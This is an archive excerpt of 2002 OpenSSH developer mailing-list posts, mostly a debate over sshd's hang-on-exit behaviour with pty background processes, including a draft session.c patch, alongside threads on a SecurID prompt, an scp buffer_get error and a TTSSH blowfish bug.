From: jakob at crt.se (Jakob Schlyter)
Date: Mon, 5 Aug 2002 23:38:54 +0200 (CEST)
Subject: password prompt
In-Reply-To: <LAW2-F69T7eEmP9CDBH00015399@hotmail.com>
Message-ID: <Pine.OSX.4.44.0208052337580.1519-100000@criollo.schlyter.pp.se>

On Mon, 5 Aug 2002, J S wrote:

> I would like to do some development on the securid patch to get it to
> display the passcode prompt when users log in with securid on ssh.
>
> Can anyone tell me which scripts currently handle the logon/password prompt
> in openssh please?

shouldn't securid use keyboard interactive, which I believe can
handle different change-response prompts, instead?

	jakob



From alexy.khrabrov at setup.org  Tue Aug  6 07:44:16 2002
From: alexy.khrabrov at setup.org (Alexy Khrabrov)
Date: Mon, 5 Aug 2002 17:44:16 -0400 (EDT)
Subject: scp fails where ssh succeeds; buffer_get?
Message-ID: <200208052144.g75LiGN02880@angle.badbox.com>

I have built the freshest CVS versions of openssh and still observe
the same strangest behavior I encountered when trying to scp from a SuSE
7.2 to RedHat 7.1 system -- I built openssl-0.9.6e on RedHat as well--
and updated a lot of stuff; but still:

ssh succeeds, and scp fails, leaving the following message in 
/var/log/secure: 
Aug  5 11:50:44 pdb-pc-6 sshd[4609]: fatal: buffer_get: trying to get more bytes than in buffer

I compiled --with-tcp-wrappers and the client is allowed (obviously,
as ssh succeeds).  Local machines on the same subnet can scp without
any problems.  Same thing happens with sftp -- both ask for password,
then hang.  If the key is kept by an agent, scp simply quits, saying
that the server closed the connection.

I never observed that before, my SuSE box works like a clock in both
client/server modes.  What can be possibly broken on the Red Hat box?

Cheers,
Alexy


From michael at bizsystems.com  Tue Aug  6 07:53:32 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Mon, 5 Aug 2002 14:53:32 -0700 (PDT)
Subject: so-called-hang-on-exit
Message-ID: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.com>

>Fair enough on the flushing of the pty. But sshd should still not close
>the pty - it should wait for the background processes to exit and/or
>dissassociate from the pty.
>
>The client does know that there are background processes left still
>holding the pty open. How? Because the client requested and got a pty,
>the sshd has sent a session-exit message, and the channel is still open.
>
>Cheers,
>
>Nico --

This is an oversimplification of the problem and what I consider to be the
main reason why the problem has not been fixed. Consider the situation
where a sysadm needs to log into a host, kill and restart a daemon.
Naturally the daemon has not been properly written through no fault of the
sysadmin who is merely and innocent victim of the ssh server. Upon logout
the terminal window hangs.... duh!!!! Again I ask, why should we be held
hostage to poorly written daemons just so you purists can say that not a
single byte of data has been lost that might someday be attempted to be
sent to pty connection that is trying desperately to disconnect???

The argument will not go away until some one fixes this BUG. Your argument
that the "client knows" is simplistic. Sure, we know that people write
buggy software and buggy daemons that do not properly redirect their
STDOUT and STDERR. That does not meant that we should
accomodate their stupidity and hang our own systems up because of it. At
the very least, make it a server configuration option that connections
will be closed unconditionally if requested by the client to do so. This
way we can rid our systems of hung sshd processes that fill up the process
table.

Michael


> -----Original Message-----
> From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> Sent: Monday, August 05, 2002 4:20 PM
> To: Williams, Nicolas
> Cc: openssh-unix-dev at mindrot.org
> Subject: RE: so-called-hang-on-exit
>
>
> On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:
>
> >
> > I still think this sort of thing should be done by the client.
> >
> > The client knows everything that the server knows.
>
> Except this time is does not. If there is background
> processses on the
> tty, the client can either close the session and lose data or wait
> indefinetely for data from the background processes.
>
> > So the client
> > can choose to terminate the SSHv2 session when the PTY session
> > process leader exits - and it can implement any other termination
> > heuristic you wish too.
>
> It needs server modifications that data from the pty session process
> leaders is not lost. I think rlogin and all other pty using
> programs have
> allready implemented this properly; which is that the pty buffer is
> first emptied and the connection is closed _after_ that.
>
> - Jani
>
>




From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 07:54:44 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Mon, 5 Aug 2002 23:54:44 +0200
Subject: password prompt
In-Reply-To: <Pine.OSX.4.44.0208052337580.1519-100000@criollo.schlyter.pp.se>
References: <LAW2-F69T7eEmP9CDBH00015399@hotmail.com> <Pine.OSX.4.44.0208052337580.1519-100000@criollo.schlyter.pp.se>
Message-ID: <20020805215443.GB22520@faui02>

On Mon, Aug 05, 2002 at 11:38:54PM +0200, Jakob Schlyter wrote:
> On Mon, 5 Aug 2002, J S wrote:
> 
> > I would like to do some development on the securid patch to get it to
> > display the passcode prompt when users log in with securid on ssh.
> >
> > Can anyone tell me which scripts currently handle the logon/password prompt
> > in openssh please?
> 
> shouldn't securid use keyboard interactive, which I believe can
> handle different change-response prompts, instead?

yes, it should. it should not depend on the client.


From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 08:02:35 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 00:02:35 +0200
Subject: scp fails where ssh succeeds; buffer_get?
In-Reply-To: <200208052144.g75LiGN02880@angle.badbox.com>
References: <200208052144.g75LiGN02880@angle.badbox.com>
Message-ID: <20020805220234.GC22520@faui02>

perhaps the authorized_keys file is broken (bad linebreaks)?

-m

On Mon, Aug 05, 2002 at 05:44:16PM -0400, Alexy Khrabrov wrote:
> 
> I have built the freshest CVS versions of openssh and still observe
> the same strangest behavior I encountered when trying to scp from a SuSE
> 7.2 to RedHat 7.1 system -- I built openssl-0.9.6e on RedHat as well--
> and updated a lot of stuff; but still:
> 
> ssh succeeds, and scp fails, leaving the following message in 
> /var/log/secure: 
> Aug  5 11:50:44 pdb-pc-6 sshd[4609]: fatal: buffer_get: trying to get more bytes than in buffer
> 
> I compiled --with-tcp-wrappers and the client is allowed (obviously,
> as ssh succeeds).  Local machines on the same subnet can scp without
> any problems.  Same thing happens with sftp -- both ask for password,
> then hang.  If the key is kept by an agent, scp simply quits, saying
> that the server closed the connection.
> 
> I never observed that before, my SuSE box works like a clock in both
> client/server modes.  What can be possibly broken on the Red Hat box?
> 
> Cheers,
> Alexy
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev


From jjaakkol at cs.Helsinki.FI  Tue Aug  6 08:14:22 2002
From: jjaakkol at cs.Helsinki.FI (Jani Jaakkola)
Date: Tue, 6 Aug 2002 01:14:22 +0300 (EEST)
Subject: so-called-hang-on-exit
In-Reply-To: <20020805041125.A5018@google.com>
Message-ID: <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa>

On Mon, 5 Aug 2002, Frank Cusack wrote:

> I've implemented something similar for protocol 1, and implemented a
> slightly simpler version of your patch for protocol 2.  Before I post it,
> I'm curious as to what the intent is of being able to specify the
> select() timeout.

The point of the select() timeout was to make sure, that sshd never gets 
stuck on select, if there never was no output from the background 
processes and pty buffer already was empty. 

> Also, I'm not sure why you test for EAGAIN instead of just checking
> if the bit is set in the readset.  My patch just does an FD_ISSET(...)
> on the appropriate bit (c->rfd) iff it was set going into select()
> (ie, if the remote_window wasn't already full).

I suppose you are right; if select() says that there is nothing to read, 
then the EAGAIN test is not needed.

Anyway, I realized that it is probably useless to go through the select 
loop after the child is exited to just be able to empty the pty buffer. I 
checked, and Linux pty buffer size is just 2048 bytes, which is much less 
than 16*1024 buffer in channel_handle_rfd. And since the master processes 
have exited, the unread data is guaranteed to have fit into that 2048 byte 
buffer.

So here is a much much simpler patch achieving essentieally the same thing 
(this time it is no longer possible for sshd to hang-on-exit forever if 
pty background processes keep dumping data to pty):

The included patch is also available from:
http://www.cs.helsinki.fi/u/jjaakkol/openssh-hang-on-exit-v2.patch

- Jani


--- openssh-3.4p1.orig/session.c	Wed Jun 26 16:51:06 2002
+++ openssh-3.4p1/session.c	Tue Aug  6 01:10:20 2002
@@ -1809,6 +1809,32 @@
 	debug("session_exit_message: session %d channel %d pid %ld",
 	    s->self, s->chanid, (long)s->pid);
 
+	/* Check if we need the hang-on-exit bug workaround */
+	if (s->ttyfd != -1 && c->istate == CHAN_INPUT_OPEN) {
+		/* drain the pty buffer before sending the exit status.
+		 * this ensures, that all data from foreground processes
+		 * is sent before the exit status
+		 */
+		fd_set dummy_read, dummy_write;
+		FD_ZERO(&dummy_read);
+		FD_SET(s->ttyfd,&dummy_read);
+		FD_ZERO(&dummy_write);
+		/* We really want to call channel_handle_rfd, but it is not
+		 * exposed through channels.h. This will eventually achieve
+		 * same thing. */
+		/* The read buffer used in channel_handle_rfd is larger
+		 * than Linux pty-buffer size. So at least in Linux it
+		 * should be guaranteed that the pty buffer gets emptied.
+		 */
+		channel_after_select(&dummy_read,&dummy_write);
+		/* This is a policy decision which probably should be done
+		 * in the client side. Sometimes the client might be 
+		 * interested in the output of pty background processes. 
+		 * I leave this as an exercise to the reader.
+		verbose("hang-on-exit-workaround applied");
+		chan_read_failed(c);
+	}
+	
 	if (WIFEXITED(status)) {
 		channel_request_start(s->chanid, "exit-status", 0);
 		packet_put_int(WEXITSTATUS(status));



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 08:28:29 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 00:28:29 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.com>
References: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.com>
Message-ID: <20020805222829.GD22520@faui02>

On Mon, Aug 05, 2002 at 02:53:32PM -0700, Michael Robinton wrote:
> sysadmin who is merely and innocent victim of the ssh server. Upon logout
> the terminal window hangs.... 

... and the admin presses ~. if he really want's to close
the connection. so what's the problem?

-m


From michael at bizsystems.com  Tue Aug  6 09:18:31 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Mon, 5 Aug 2002 16:18:31 -0700 (PDT)
Subject: so-called-hang-on-exit
Message-ID: <Pine.LNX.4.33.0208051605410.17853-100000@pandora.is.bizsystems.com>

BTW, it's not a "so-called-hang-on-exit". It DOES hang on exit, there is
no question about it. The discussion is about how to fix it. Claiming that
it is "proper" doesn't fix the problem or keep people for reporting it as
a bug over and over again. The client user really does want the process to
close when you say "exit", notwithstanding that there may be and
outstanding process that could possibly return data. Such is life.

>> On Mon, Aug 05, 2002 at 02:53:32PM -0700, Michael Robinton wrote:
>> sysadmin who is merely and innocent victim of the ssh server. Upon
>>logout the terminal window hangs....
>>
>... and the admin presses ~. if he really want's to close
>the connection. so what's the problem?
>
>-m

The problem is that it affects not only the knowledgable?? sysadmins but
all users. It is a nusiance and an agravation. Some users don't know
about ~ and some scripts which start remote processes via ssh get stuck
with a hung connection. What's the problem with having sshd close the
connects AS ASKED by sshd-config option which you can set to leave your
system hanging if you wish to do so??? Please don't force the rest of us
to deal with a hung script or blank window when we want to EXIT just
becasue you think we should not loose the data we clearly don't want.
Additionally, I really don't want my systems cluttered up with hung sshd
processes started by remote users that can't figure out how to deal with a
difficult implementation of ssh.

I'm not bitching about ssh or the development. I think it's a fine program
and you are all to be commended for it's development and improvement. But,
lets get real about what users (not always so bright) and daemon
developers (sometimes really dim) expect from ssh. When I log off a
terminal window, I expect it to close. When I start a remote daemon, I
expect to be able to disconnect from the remote host whether it is via a
terminal window or a script.

Michael



From tusker at tusker.org  Tue Aug  6 10:19:07 2002
From: tusker at tusker.org (Damien Mascord)
Date: Tue, 06 Aug 2002 08:19:07 +0800
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208051605410.17853-100000@pandora.is.bizsys
 tems.com>
Message-ID: <5.1.1.5.2.20020806081241.03736b10@tusker.org>

So,

You reach a certain timeout, and you get notified of something like:

"Badly written shell processes are running, please hit ~ to force ssh 
connection closure."

Then every end user knows about the "way to close ssh even when shell 
scripts are badly written", and they also get notified of the fact that 
something they did in their session was "wrong", so they can even rectify 
that problem.

The end user is not aware that the things they did were "wrong", most 
probably because most other remote "shells" behave differently, so since 
OpenSSHs behaviour is not "common" then the end user should be made aware.

Damien

At 04:18 PM 5/08/2002 -0700, Michael Robinton wrote:
>BTW, it's not a "so-called-hang-on-exit". It DOES hang on exit, there is
>no question about it. The discussion is about how to fix it. Claiming that
>it is "proper" doesn't fix the problem or keep people for reporting it as
>a bug over and over again. The client user really does want the process to
>close when you say "exit", notwithstanding that there may be and
>outstanding process that could possibly return data. Such is life.
>
> >> On Mon, Aug 05, 2002 at 02:53:32PM -0700, Michael Robinton wrote:
> >> sysadmin who is merely and innocent victim of the ssh server. Upon
> >>logout the terminal window hangs....
> >>
> >... and the admin presses ~. if he really want's to close
> >the connection. so what's the problem?
> >
> >-m
>
>The problem is that it affects not only the knowledgable?? sysadmins but
>all users. It is a nusiance and an agravation. Some users don't know
>about ~ and some scripts which start remote processes via ssh get stuck
>with a hung connection. What's the problem with having sshd close the
>connects AS ASKED by sshd-config option which you can set to leave your
>system hanging if you wish to do so??? Please don't force the rest of us
>to deal with a hung script or blank window when we want to EXIT just
>becasue you think we should not loose the data we clearly don't want.
>Additionally, I really don't want my systems cluttered up with hung sshd
>processes started by remote users that can't figure out how to deal with a
>difficult implementation of ssh.
>
>I'm not bitching about ssh or the development. I think it's a fine program
>and you are all to be commended for it's development and improvement. But,
>lets get real about what users (not always so bright) and daemon
>developers (sometimes really dim) expect from ssh. When I log off a
>terminal window, I expect it to close. When I start a remote daemon, I
>expect to be able to disconnect from the remote host whether it is via a
>terminal window or a script.
>
>Michael
>
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev





From michael at bizsystems.com  Tue Aug  6 11:17:52 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Mon, 5 Aug 2002 18:17:52 -0700 (PDT)
Subject: so-called-hang-on-exit
Message-ID: <Pine.LNX.4.33.0208051812490.19435-100000@pandora.is.bizsystems.com>

> So,
>
>You reach a certain timeout, and you get notified of something like:
>
>"Badly written shell processes are running, please hit ~ to force ssh
>connection closure."
>

fat lot of good that does a script

>Then every end user knows about the "way to close ssh even when shell
>scripts are badly written", and they also get notified of the fact that
>something they did in their session was "wrong", so they can even rectify
>that problem.

What about most users that didn't write the "badly written daemon". Are
they suppose to learn how to maintain other people's stuff???

>
>The end user is not aware that the things they did were "wrong", most
>probably because most other remote "shells" behave differently, so since
>OpenSSHs behaviour is not "common" then the end user should be made
>aware.

Again, this oversimplifies the problem. We can make ssh difficult to use
or easy to use -- gee why do you think Windoze is so popular --

since ~ will unconditionally close a terminal window, what's wrong with a
config option to do this automagically if the sysadmin wishes to configure
sshd in this fashion. Give me a good reason (other than academic) why when
the user or script says "bye now" that sshd should not take them
seriously.

Michael

>
>Damien
>
>At 04:18 PM 5/08/2002 -0700, Michael Robinton wrote:
>BTW, it's not a "so-called-hang-on-exit". It DOES hang on exit, there is
>no question about it. The discussion is about how to fix it. Claiming
>that
>it is "proper" doesn't fix the problem or keep people for reporting it as
>a bug over and over again. The client user really does want the process
>to
>close when you say "exit", notwithstanding that there may be and
>outstanding process that could possibly return data. Such is life.
>
> >> On Mon, Aug 05, 2002 at 02:53:32PM -0700, Michael Robinton wrote:
> >> sysadmin who is merely and innocent victim of the ssh server. Upon
> >>logout the terminal window hangs....
> >>
> >... and the admin presses ~. if he really want's to close
> >the connection. so what's the problem?
> >
> >-m
>
>The problem is that it affects not only the knowledgable?? sysadmins but
>all users. It is a nusiance and an agravation. Some users don't know
>about ~ and some scripts which start remote processes via ssh get stuck
>with a hung connection. What's the problem with having sshd close the
>connects AS ASKED by sshd-config option which you can set to leave your
>system hanging if you wish to do so??? Please don't force the rest of us
>to deal with a hung script or blank window when we want to EXIT just
>becasue you think we should not loose the data we clearly don't want.
>Additionally, I really don't want my systems cluttered up with hung sshd
>processes started by remote users that can't figure out how to deal with
a
>difficult implementation of ssh.
>
>I'm not bitching about ssh or the development. I think it's a fine
program
>and you are all to be commended for it's development and improvement.
But,
>lets get real about what users (not always so bright) and daemon
>developers (sometimes really dim) expect from ssh. When I log off a
>terminal window, I expect it to close. When I start a remote daemon, I
>expect to be able to disconnect from the remote host whether it is via a
>terminal window or a script.
>
>Michael




From carson at taltos.org  Tue Aug  6 11:32:49 2002
From: carson at taltos.org (Carson Gaspar)
Date: Mon, 05 Aug 2002 21:32:49 -0400
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.com>
References: <Pine.LNX.4.33.0208051443390.15196-100000@pandora.is.bizsystems.
 com>
Message-ID: <1027403015.1028583169@[192.168.0.2]>


--On Monday, August 05, 2002 2:53 PM -0700 Michael Robinton 
<michael at bizsystems.com> wrote:

>> The client does know that there are background processes left still
>> holding the pty open. How? Because the client requested and got a pty,
>> the sshd has sent a session-exit message, and the channel is still open.
>
> This is an oversimplification of the problem and what I consider to be the
> main reason why the problem has not been fixed. Consider the situation

Pay attention. Nico said that there _should_ be such an option, but that it 
should be implemented in the client, not in the server. That way, the 
preference is per-session, not global for the whole box.

Yelling at people who agree with you isn't productive.

-- 
Carson



From carl at bl.echidna.id.au  Tue Aug  6 11:33:36 2002
From: carl at bl.echidna.id.au (Carl Brewer)
Date: Tue, 06 Aug 2002 11:33:36 +1000
Subject: so-called-hang-on-exit
References: <Pine.LNX.4.33.0208051812490.19435-100000@pandora.is.bizsystems.com>
Message-ID: <3D4F2770.8060605@bl.echidna.id.au>

Michael Robinton wrote:
>>So,
>>
>>You reach a certain timeout, and you get notified of something like:
>>
>>"Badly written shell processes are running, please hit ~ to force ssh
>>connection closure."
>>
> 
> 
> fat lot of good that does a script
> 
> 
>>Then every end user knows about the "way to close ssh even when shell
>>scripts are badly written", and they also get notified of the fact that
>>something they did in their session was "wrong", so they can even rectify
>>that problem.
> 
> 
> What about most users that didn't write the "badly written daemon". Are
> they suppose to learn how to maintain other people's stuff???
> 
> 
>>The end user is not aware that the things they did were "wrong", most
>>probably because most other remote "shells" behave differently, so since
>>OpenSSHs behaviour is not "common" then the end user should be made
>>aware.
> 
> 
> Again, this oversimplifies the problem. We can make ssh difficult to use
> or easy to use -- gee why do you think Windoze is so popular --
> 
> since ~ will unconditionally close a terminal window, what's wrong with a
> config option to do this automagically if the sysadmin wishes to configure
> sshd in this fashion. Give me a good reason (other than academic) why when
> the user or script says "bye now" that sshd should not take them
> seriously.

Not to mention the complexity of multiple chained ssh connections, how
many "~'s do I need to press?  I'm chained in through how many sessions
again?

Unfortunatly, Michael, you're wasting your time.  None of the
developers will see it from a 'real user' perspective.  Purity
vs practicality, and purity wins.

My scripts mostly have to do ugly things like this :

/etc/rc.d/init.d/SNPd start < /dev/null > /dev/null 2>&1

So I can restart a badly behaved (because it writes to stdout
and stderr when it starts, and if it loses those connections it
just carries on anyway - how -evil-) daemon or two.

Nothing stopping a patch to fix the 'not-a-problem' being applied :)

Carl



From bugzilla-daemon at mindrot.org  Tue Aug  6 12:29:47 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Tue,  6 Aug 2002 12:29:47 +1000 (EST)
Subject: [Bug 368] TTSSH will not connect to OpenSSH_3.4p1
Message-ID: <20020806022947.9D6F43D1D1@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=368

mindrot at doyle.nebcorp.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |mindrot at doyle.nebcorp.com



------- Additional Comments From mindrot at doyle.nebcorp.com  2002-08-06 12:29 -------
This occurs when using the blowfish cypher (see the ttssh debug output) with the openssh 
3.4 client on a FreeBSD 4.4 machine, linked against openssl 0.9.6e.  It does not occur when 
using the default 3DES cypher. 



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From fcusack at fcusack.com  Tue Aug  6 14:41:36 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Mon, 5 Aug 2002 21:41:36 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa>; from jjaakkol@cs.helsinki.fi on Tue, Aug 06, 2002 at 01:14:22AM +0300
References: <20020805041125.A5018@google.com> <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa>
Message-ID: <20020805214136.M13152@google.com>

On Tue, Aug 06, 2002 at 01:14:22AM +0300, Jani Jaakkola wrote:
> On Mon, 5 Aug 2002, Frank Cusack wrote:
> 
> > I've implemented something similar for protocol 1, and implemented a
> > slightly simpler version of your patch for protocol 2.  Before I post it,
> > I'm curious as to what the intent is of being able to specify the
> > select() timeout.
> 
> The point of the select() timeout was to make sure, that sshd never gets 
> stuck on select, if there never was no output from the background 
> processes and pty buffer already was empty. 

Oh right.  Cuz it might set the tvp to NULL.  I think it's simpler just
to use the child_terminated flag, just don't reset it in the ssh2 code
path (this doesn't seem to have a point other than skipping the call
to waitpid() after the first child terminates).

> Anyway, I realized that it is probably useless to go through the select 
> loop after the child is exited to just be able to empty the pty buffer. I 
> checked, and Linux pty buffer size is just 2048 bytes, which is much less 
> than 16*1024 buffer in channel_handle_rfd. And since the master processes 
> have exited, the unread data is guaranteed to have fit into that 2048 byte 
> buffer.

Yeah, but you don't know how much of that buffer is available, and the bug
isn't present only on Linux, I thought.  I actually tried just emptying
the buffer and then doing a chan_read_failed() but this lost data for me.
At least I think I tried that. :-)

I'll put up my patch for comparison later tonight.

/fc


From fcusack at fcusack.com  Tue Aug  6 14:48:07 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Mon, 5 Aug 2002 21:48:07 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <5.1.1.5.2.20020806081241.03736b10@tusker.org>; from tusker@tusker.org on Tue, Aug 06, 2002 at 08:19:07AM +0800
References: <Pine.LNX.4.33.0208051605410.17853-100000@pandora.is.bizsys tems.com> <5.1.1.5.2.20020806081241.03736b10@tusker.org>
Message-ID: <20020805214807.N13152@google.com>

On Tue, Aug 06, 2002 at 08:19:07AM +0800, Damien Mascord wrote:
> So,
> 
> You reach a certain timeout, and you get notified of something like:
> 
> "Badly written shell processes are running, please hit ~ to force ssh 
> connection closure."
> 
> Then every end user knows about the "way to close ssh even when shell 
> scripts are badly written", and they also get notified of the fact that 
> something they did in their session was "wrong", so they can even rectify 
> that problem.

Actually, I am fond of the hang-on-exit "bug".  People come to me and
ask why the ssh client doesn't exit and I explain to them how to fix
their shell script cum daemon and they go away happy AND the behavior
is correct.  People only ask me once. :-)  And then they tell their fellow
coworkers, "oh yeah you have to close open fd's dummy, don't you know that?".

So far, I've only found one system tool (ie, not written in-house) that
exercised this bug--rpm.

All that said, I do now have the option on by default.

/fc


From fcusack at fcusack.com  Tue Aug  6 14:52:53 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Mon, 5 Aug 2002 21:52:53 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <3D4F2770.8060605@bl.echidna.id.au>; from carl@bl.echidna.id.au on Tue, Aug 06, 2002 at 11:33:36AM +1000
References: <Pine.LNX.4.33.0208051812490.19435-100000@pandora.is.bizsystems.com> <3D4F2770.8060605@bl.echidna.id.au>
Message-ID: <20020805215253.O13152@google.com>

On Tue, Aug 06, 2002 at 11:33:36AM +1000, Carl Brewer wrote:
> My scripts mostly have to do ugly things like this :
> 
> /etc/rc.d/init.d/SNPd start < /dev/null > /dev/null 2>&1
> 
> So I can restart a badly behaved (because it writes to stdout
> and stderr when it starts, and if it loses those connections it
> just carries on anyway - how -evil-) daemon or two.

Personally, I like the reminder that xyz program sucks.  How can you
trust software that doesn't even know to close fd's.

Unfortunately, sometimes you have to use such software.  That's why
the option is being discussed.

Please, stop the arguing about the option!  One of the main guys has
posted it, asking shouldn't it be in 3.5.

Even if it doesn't make it into 3.5 (I expect it will, it's an *option*;
the reason it hasn't is previous solutions have been lacking) you can
just patch the server yourself.  There are several versions of the patch
out there.  One more will be posted by myself later tonight.

/fc


From fcusack at fcusack.com  Tue Aug  6 16:20:53 2002
From: fcusack at fcusack.com (Frank Cusack)
Date: Mon, 5 Aug 2002 23:20:53 -0700
Subject: so-called-hang-on-exit
In-Reply-To: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBFF@NSTMC004PEX1.ubsgs.ubsgroup.net>; from Nicolas.Williams@ubsw.com on Mon, Aug 05, 2002 at 04:31:26PM -0400
References: <BF5F3FE870FB5C4B89BC1A1FBC76778C08EBFF@NSTMC004PEX1.ubsgs.ubsgroup.net>
Message-ID: <20020805232053.H13421@google.com>

How does the client know the pty has been flushed and it's not just that
sshd has not set the right bit in the select mask (since it does or does not
set it according to some heuristic)?  ie, just b/c the client isn't getting
data doesn't mean the pty has been flushed.  Right?

/fc

On Mon, Aug 05, 2002 at 04:31:26PM -0400, Nicolas.Williams at ubsw.com wrote:
> 
> Fair enough on the flushing of the pty. But sshd should still
> not close the pty - it should wait for the background processes
> to exit and/or dissassociate from the pty.
> 
> The client does know that there are background processes left
> still holding the pty open. How? Because the client requested
> and got a pty, the sshd has sent a session-exit message, and
> the channel is still open.
> 
> Cheers,
> 
> Nico
> -- 
> 
> > -----Original Message-----
> > From: Jani Jaakkola [mailto:jjaakkol at cs.Helsinki.FI]
> > Sent: Monday, August 05, 2002 4:20 PM
> > To: Williams, Nicolas
> > Cc: openssh-unix-dev at mindrot.org
> > Subject: RE: so-called-hang-on-exit
> > 
> > 
> > On Mon, 5 Aug 2002 Nicolas.Williams at ubsw.com wrote:
> > 
> > > 
> > > I still think this sort of thing should be done by the client.
> > > 
> > > The client knows everything that the server knows.
> > 
> > Except this time is does not. If there is background 
> > processses on the 
> > tty, the client can either close the session and lose data or wait 
> > indefinetely for data from the background processes.
> > 
> > > So the client
> > > can choose to terminate the SSHv2 session when the PTY session
> > > process leader exits - and it can implement any other termination
> > > heuristic you wish too.
> > 
> > It needs server modifications that data from the pty session process 
> > leaders is not lost. I think rlogin and all other pty using 
> > programs have 
> > allready implemented this properly; which is that the pty buffer is 
> > first emptied and the connection is closed _after_ that.
> > 
> > - Jani


From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 16:57:28 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 08:57:28 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <Pine.LNX.4.33.0208051605410.17853-100000@pandora.is.bizsystems.com>
References: <Pine.LNX.4.33.0208051605410.17853-100000@pandora.is.bizsystems.com>
Message-ID: <20020806065728.GA19869@faui02>

On Mon, Aug 05, 2002 at 04:18:31PM -0700, Michael Robinton wrote:
> about ~ and some scripts which start remote processes via ssh get stuck
> with a hung connection. What's the problem with having sshd close the

do scripts allocate ttys?


From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 17:00:07 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 09:00:07 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <3D4F2770.8060605@bl.echidna.id.au>
References: <Pine.LNX.4.33.0208051812490.19435-100000@pandora.is.bizsystems.com> <3D4F2770.8060605@bl.echidna.id.au>
Message-ID: <20020806070007.GB19869@faui02>

On Tue, Aug 06, 2002 at 11:33:36AM +1000, Carl Brewer wrote:
> Unfortunatly, Michael, you're wasting your time.  None of the
> developers will see it from a 'real user' perspective.  Purity
> vs practicality, and purity wins.

no, you are wrong. but you are just seeing your positing, where
'hang' is a problem and 'data loss' is not.

-m


From michael at bizsystems.com  Tue Aug  6 17:10:46 2002
From: michael at bizsystems.com (Michael Robinton)
Date: Tue, 6 Aug 2002 00:10:46 -0700 (PDT)
Subject: so-called-hang-on-exit
In-Reply-To: <1027403015.1028583169@[192.168.0.2]>
Message-ID: <Pine.LNX.4.33.0208060005280.21277-100000@pandora.is.bizsystems.com>

On Mon, 5 Aug 2002, Carson Gaspar wrote:

>
>
> --On Monday, August 05, 2002 2:53 PM -0700 Michael Robinton
> <michael at bizsystems.com> wrote:
>
> >> The client does know that there are background processes left still
> >> holding the pty open. How? Because the client requested and got a pty,
> >> the sshd has sent a session-exit message, and the channel is still open.
> >
> > This is an oversimplification of the problem and what I consider to be the
> > main reason why the problem has not been fixed. Consider the situation
>
> Pay attention. Nico said that there _should_ be such an option, but that it
> should be implemented in the client, not in the server. That way, the
> preference is per-session, not global for the whole box.
>
> Yelling at people who agree with you isn't productive.
>

That still does not keep our servers from filling up with hung sshd
sessions started by our user clients that are brain dead. I want to
terminate the connection for any sshd process started on one of our
servers whenever the client attempts to exit.

And.... I'm not yelling at the people that don't agree with me. I'm merely
pointing out that there is a significant portion of the user community
that wants ... no ... needs an option to accomodate the reality of
operating a data center. Refusing to put a need option in place that has
repeatedly been asked for AND whose absence has been report repeatedly as
a bug does not do the user community any service when it is done for the
sake of "purity". For those that wish to be pure, having an option
(default) for "pure" daemon response is quite reasonable. Likewise, I'd
like to be a "dirty dog" and have our systems simply drop connections that
attempt to disconnect. Give me the option on a per server basis and I'll
shut up. :-)

Such an option does not hurt the purists and is satisfies the needs of the
real world as well.

Michael



From Markus.Friedl at informatik.uni-erlangen.de  Tue Aug  6 17:17:00 2002
From: Markus.Friedl at informatik.uni-erlangen.de (Markus Friedl)
Date: Tue, 6 Aug 2002 09:17:00 +0200
Subject: so-called-hang-on-exit
In-Reply-To: <20020805214136.M13152@google.com>
References: <20020805041125.A5018@google.com> <Pine.LNX.4.44.0208060056590.1071-100000@loussa.kamppa> <20020805214136.M13152@google.com>
Message-ID: <20020806071700.GA20793@faui02>

On Mon, Aug 05, 2002 at 09:41:36PM -0700, Frank Cusack wrote:
> Yeah, but you don't know how much of that buffer is available, and the bug
> isn't present only on Linux, I thought.  I actually tried just emptying
> the buffer and then doing a chan_read_failed() but this lost data for me.

Hm, so still the only thing we could do is wait for EOF,
until someone can explain why Linux/Solaris behave different
from *BSD....


